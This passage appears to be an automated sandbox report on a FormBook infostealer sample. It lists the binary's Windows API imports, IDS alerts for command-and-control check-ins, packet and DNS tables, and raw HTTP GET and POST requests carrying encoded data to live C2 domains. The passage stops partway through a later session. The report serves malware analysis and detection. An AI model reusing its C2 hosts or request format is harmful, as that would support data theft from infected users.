GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
                                              USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
                                              GDI32.dllSetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
                                              COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                              ADVAPI32.dllGetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
                                              SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                              ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                              OLEAUT32.dllRegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

                                              Possible Origin

                                              Language of compilation systemCountry where language is spokenMap
                                              EnglishGreat Britain

                                              Network Behavior

                                              Suricata IDS Alerts

                                              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                              2024-12-09T13:14:07.923153+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.449763108.179.253.19780TCP
                                              2024-12-09T13:14:07.923153+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.449763108.179.253.19780TCP
                                              2024-12-09T13:14:24.614014+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449804108.181.189.780TCP
                                              2024-12-09T13:14:27.263633+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449810108.181.189.780TCP
                                              2024-12-09T13:14:29.924955+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449819108.181.189.780TCP
                                              2024-12-09T13:14:32.581126+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.449827108.181.189.780TCP
                                              2024-12-09T13:14:32.581126+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.449827108.181.189.780TCP
                                              2024-12-09T13:14:39.171086+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44984313.248.169.4880TCP
                                              2024-12-09T13:14:41.768649+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44984913.248.169.4880TCP
                                              2024-12-09T13:14:44.469996+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44985513.248.169.4880TCP
                                              2024-12-09T13:14:47.088788+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.44986113.248.169.4880TCP
                                              2024-12-09T13:14:47.088788+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.44986113.248.169.4880TCP

                                              Network Port Distribution

                                              TCP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Dec 9, 2024 13:14:06.574224949 CET4976380192.168.2.4108.179.253.197
                                              Dec 9, 2024 13:14:06.693598986 CET8049763108.179.253.197192.168.2.4
                                              Dec 9, 2024 13:14:06.693761110 CET4976380192.168.2.4108.179.253.197
                                              Dec 9, 2024 13:14:06.703543901 CET4976380192.168.2.4108.179.253.197
                                              Dec 9, 2024 13:14:06.822977066 CET8049763108.179.253.197192.168.2.4
                                              Dec 9, 2024 13:14:07.877156019 CET8049763108.179.253.197192.168.2.4
                                              Dec 9, 2024 13:14:07.923152924 CET4976380192.168.2.4108.179.253.197
                                              Dec 9, 2024 13:14:12.878623009 CET8049763108.179.253.197192.168.2.4
                                              Dec 9, 2024 13:14:12.878765106 CET4976380192.168.2.4108.179.253.197
                                              Dec 9, 2024 13:14:12.880239010 CET4976380192.168.2.4108.179.253.197
                                              Dec 9, 2024 13:14:12.999505043 CET8049763108.179.253.197192.168.2.4
                                              Dec 9, 2024 13:14:23.315835953 CET4980480192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:23.435203075 CET8049804108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:23.435631990 CET4980480192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:23.447290897 CET4980480192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:23.566680908 CET8049804108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:24.613518953 CET8049804108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:24.613967896 CET8049804108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:24.614013910 CET4980480192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:24.614118099 CET8049804108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:24.614161968 CET4980480192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:24.954375982 CET4980480192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:25.972585917 CET4981080192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:26.092166901 CET8049810108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:26.095098019 CET4981080192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:26.106379032 CET4981080192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:26.225646973 CET8049810108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:27.263535976 CET8049810108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:27.263582945 CET8049810108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:27.263633013 CET4981080192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:27.263994932 CET8049810108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:27.264034986 CET4981080192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:27.630595922 CET4981080192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:28.644341946 CET4981980192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:28.763641119 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.765683889 CET4981980192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:28.777446032 CET4981980192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:28.896884918 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.896908998 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.896966934 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.896998882 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.897116899 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.897126913 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.897171974 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.897224903 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:28.897281885 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:29.924721956 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:29.924896002 CET8049819108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:29.924954891 CET4981980192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:30.282572031 CET4981980192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:31.300621033 CET4982780192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:31.420195103 CET8049827108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:31.420274019 CET4982780192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:31.429249048 CET4982780192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:31.548719883 CET8049827108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:32.580806017 CET8049827108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:32.580997944 CET8049827108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:32.581101894 CET8049827108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:32.581125975 CET4982780192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:32.581154108 CET4982780192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:32.583406925 CET4982780192.168.2.4108.181.189.7
                                              Dec 9, 2024 13:14:32.702591896 CET8049827108.181.189.7192.168.2.4
                                              Dec 9, 2024 13:14:37.888876915 CET4984380192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:38.008280993 CET804984313.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:38.011683941 CET4984380192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:38.024017096 CET4984380192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:38.144583941 CET804984313.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:39.171000957 CET804984313.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:39.171014071 CET804984313.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:39.171086073 CET4984380192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:39.532522917 CET4984380192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:40.550657988 CET4984980192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:40.670080900 CET804984913.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:40.670172930 CET4984980192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:40.681565046 CET4984980192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:40.801137924 CET804984913.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:41.768484116 CET804984913.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:41.768595934 CET804984913.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:41.768649101 CET4984980192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:42.189090014 CET4984980192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:43.207334995 CET4985580192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:43.326663017 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.326759100 CET4985580192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:43.341212988 CET4985580192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:43.460680008 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.460694075 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.460736990 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.460773945 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.460860968 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.460874081 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.460933924 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.460952044 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:43.461004972 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:44.426273108 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:44.469995975 CET4985580192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:44.489345074 CET804985513.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:44.489402056 CET4985580192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:44.846292019 CET4985580192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:45.863405943 CET4986180192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:45.982760906 CET804986113.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:45.982834101 CET4986180192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:45.991956949 CET4986180192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:46.111681938 CET804986113.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:47.088577032 CET804986113.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:47.088735104 CET804986113.248.169.48192.168.2.4
                                              Dec 9, 2024 13:14:47.088788033 CET4986180192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:47.091223001 CET4986180192.168.2.413.248.169.48
                                              Dec 9, 2024 13:14:47.210541010 CET804986113.248.169.48192.168.2.4

                                              UDP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Dec 9, 2024 13:14:05.700582027 CET6545453192.168.2.41.1.1.1
                                              Dec 9, 2024 13:14:06.568362951 CET53654541.1.1.1192.168.2.4
                                              Dec 9, 2024 13:14:22.910505056 CET5854853192.168.2.41.1.1.1
                                              Dec 9, 2024 13:14:23.310520887 CET53585481.1.1.1192.168.2.4
                                              Dec 9, 2024 13:14:37.597974062 CET5145453192.168.2.41.1.1.1
                                              Dec 9, 2024 13:14:37.886626005 CET53514541.1.1.1192.168.2.4
                                              Dec 9, 2024 13:14:52.103662014 CET5470153192.168.2.41.1.1.1
                                              Dec 9, 2024 13:14:52.562109947 CET53547011.1.1.1192.168.2.4

                                              DNS Queries

                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                              Dec 9, 2024 13:14:05.700582027 CET192.168.2.41.1.1.10x50eeStandard query (0)www.bloodbalancecaps.shopA (IP address)IN (0x0001)false
                                              Dec 9, 2024 13:14:22.910505056 CET192.168.2.41.1.1.10xfba7Standard query (0)www.jalan2.onlineA (IP address)IN (0x0001)false
                                              Dec 9, 2024 13:14:37.597974062 CET192.168.2.41.1.1.10x8db8Standard query (0)www.avalanchefi.xyzA (IP address)IN (0x0001)false
                                              Dec 9, 2024 13:14:52.103662014 CET192.168.2.41.1.1.10x4757Standard query (0)www.02760.wangA (IP address)IN (0x0001)false

                                              DNS Answers

                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                              Dec 9, 2024 13:14:06.568362951 CET1.1.1.1192.168.2.40x50eeNo error (0)www.bloodbalancecaps.shopbloodbalancecaps.shopCNAME (Canonical name)IN (0x0001)false
                                              Dec 9, 2024 13:14:06.568362951 CET1.1.1.1192.168.2.40x50eeNo error (0)bloodbalancecaps.shop108.179.253.197A (IP address)IN (0x0001)false
                                              Dec 9, 2024 13:14:23.310520887 CET1.1.1.1192.168.2.40xfba7No error (0)www.jalan2.onlinejalan2.onlineCNAME (Canonical name)IN (0x0001)false
                                              Dec 9, 2024 13:14:23.310520887 CET1.1.1.1192.168.2.40xfba7No error (0)jalan2.online108.181.189.7A (IP address)IN (0x0001)false
                                              Dec 9, 2024 13:14:37.886626005 CET1.1.1.1192.168.2.40x8db8No error (0)www.avalanchefi.xyz13.248.169.48A (IP address)IN (0x0001)false
                                              Dec 9, 2024 13:14:37.886626005 CET1.1.1.1192.168.2.40x8db8No error (0)www.avalanchefi.xyz76.223.54.146A (IP address)IN (0x0001)false
                                              Dec 9, 2024 13:14:52.562109947 CET1.1.1.1192.168.2.40x4757Server failure (2)www.02760.wangnonenoneA (IP address)IN (0x0001)false

                                              HTTP Request Dependency Graph

                                              • www.bloodbalancecaps.shop
                                              • www.jalan2.online
                                              • www.avalanchefi.xyz

                                              HTTP Packets

                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              0192.168.2.449763108.179.253.197803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:06.703543901 CET549OUTGET /7n6c/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=ePeKNPyUeLpNn1ut9QR5+vkaHUGSQvJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66UvTUwrIE2dD1LfojjSGoioIp2xNG+LZcOM+Y= HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.bloodbalancecaps.shop
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Dec 9, 2024 13:14:07.877156019 CET565INHTTP/1.1 301 Moved Permanently
                                              Date: Mon, 09 Dec 2024 12:14:07 GMT
                                              Server: nginx/1.23.4
                                              Content-Type: text/html; charset=UTF-8
                                              Content-Length: 0
                                              Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                              Cache-Control: no-cache, must-revalidate, max-age=0
                                              X-Redirect-By: WordPress
                                              Location: http://bloodbalancecaps.shop/7n6c/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=ePeKNPyUeLpNn1ut9QR5+vkaHUGSQvJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66UvTUwrIE2dD1LfojjSGoioIp2xNG+LZcOM+Y=
                                              X-Endurance-Cache-Level: 2
                                              X-nginx-cache: WordPress
                                              X-Server-Cache: true
                                              X-Proxy-Cache: MISS


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              1192.168.2.449804108.181.189.7803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:23.447290897 CET803OUTPOST /xu9o/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.jalan2.online
                                              Origin: http://www.jalan2.online
                                              Referer: http://www.jalan2.online/xu9o/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 205
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 67 64 49 6c 54 76 45 38 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 5a 61 44 49 36 54 53 62 6c 71 66 57 73 56 72 4b 54 35 74 77 69 59 35 5a 30 39 7a 72 57 36 2b 51 66 54 78 4e 72 72 51 75 58 39 56 63 64 45 51 33 4c 4a 77 6e 38 36 78 35 55 56 74 4c 63 55 45 42 68 61 4c 6a 47 6e 77 6c 4d 72 30 69 4c 55 74 43 75 4a 4a 66 56 6c 57 33 4e 74 46 67 58 31 64 74 56 47 6f 30 2b 71 61 48 56 42 4b 6b 6a 38 52 6f 63 52 31 69 53 52 55 62 68 4b 69 4f 70 39 35 56 46 70 38 7a 69 49 6b 72 6d 49 7a 34 36 52 52 30 53 6f 48 6b 56 4c 52 52 4b 56 41 71 30 48 58 4e 74 34 4a 72 70 75 39 61 73 63 74 75 50 4e 48 68 7a 77 2f 67 55 67 3d 3d
                                              Data Ascii: gdIlTvE8=V36Hnmii79e6ZaDI6TSblqfWsVrKT5twiY5Z09zrW6+QfTxNrrQuX9VcdEQ3LJwn86x5UVtLcUEBhaLjGnwlMr0iLUtCuJJfVlW3NtFgX1dtVGo0+qaHVBKkj8RocR1iSRUbhKiOp95VFp8ziIkrmIz46RR0SoHkVLRRKVAq0HXNt4Jrpu9asctuPNHhzw/gUg==
                                              Dec 9, 2024 13:14:24.613518953 CET279INHTTP/1.1 404 Not Found
                                              content-type: text/html
                                              cache-control: private, no-cache, max-age=0
                                              pragma: no-cache
                                              date: Mon, 09 Dec 2024 12:14:24 GMT
                                              server: LiteSpeed
                                              content-encoding: gzip
                                              vary: Accept-Encoding
                                              transfer-encoding: chunked
                                              connection: close
                                              Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                              Data Ascii: a
                                              Dec 9, 2024 13:14:24.613967896 CET713INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                              Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              2192.168.2.449810108.181.189.7803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:26.106379032 CET823OUTPOST /xu9o/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.jalan2.online
                                              Origin: http://www.jalan2.online
                                              Referer: http://www.jalan2.online/xu9o/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 225
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 67 64 49 6c 54 76 45 38 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 4c 72 7a 49 34 31 61 62 77 61 66 56 6a 31 72 4b 61 5a 74 38 69 59 31 5a 30 2f 44 37 57 70 57 51 52 54 42 4e 36 5a 6f 75 51 39 56 63 57 6b 51 79 57 5a 77 75 38 36 39 48 55 51 56 4c 63 55 67 42 68 66 33 6a 42 55 6f 6d 50 62 30 67 53 45 74 41 7a 35 4a 66 56 6c 57 33 4e 75 35 47 58 31 56 74 56 58 59 30 2f 4c 61 45 54 78 4b 6a 31 73 52 6f 59 52 31 6d 53 52 56 49 68 4a 6d 6f 70 2f 42 56 46 6f 4d 7a 6a 5a 6b 6b 74 49 79 39 30 78 52 68 63 4c 79 78 51 70 73 53 45 44 55 4f 7a 45 54 56 6c 65 45 78 34 66 63 4e 2b 63 4a 64 53 4b 4f 56 2b 7a 43 70 50 73 76 65 4c 7a 64 4f 31 38 69 4b 4f 30 38 31 61 43 49 6f 34 59 45 3d
                                              Data Ascii: gdIlTvE8=V36Hnmii79e6LrzI41abwafVj1rKaZt8iY1Z0/D7WpWQRTBN6ZouQ9VcWkQyWZwu869HUQVLcUgBhf3jBUomPb0gSEtAz5JfVlW3Nu5GX1VtVXY0/LaETxKj1sRoYR1mSRVIhJmop/BVFoMzjZkktIy90xRhcLyxQpsSEDUOzETVleEx4fcN+cJdSKOV+zCpPsveLzdO18iKO081aCIo4YE=
                                              Dec 9, 2024 13:14:27.263535976 CET279INHTTP/1.1 404 Not Found
                                              content-type: text/html
                                              cache-control: private, no-cache, max-age=0
                                              pragma: no-cache
                                              date: Mon, 09 Dec 2024 12:14:27 GMT
                                              server: LiteSpeed
                                              content-encoding: gzip
                                              vary: Accept-Encoding
                                              transfer-encoding: chunked
                                              connection: close
                                              Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                              Data Ascii: a
                                              Dec 9, 2024 13:14:27.263582945 CET713INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                              Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              3192.168.2.449819108.181.189.7803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:28.777446032 CET10905OUTPOST /xu9o/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.jalan2.online
                                              Origin: http://www.jalan2.online
                                              Referer: http://www.jalan2.online/xu9o/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 10305
                                              Cache-Control: max-age=0
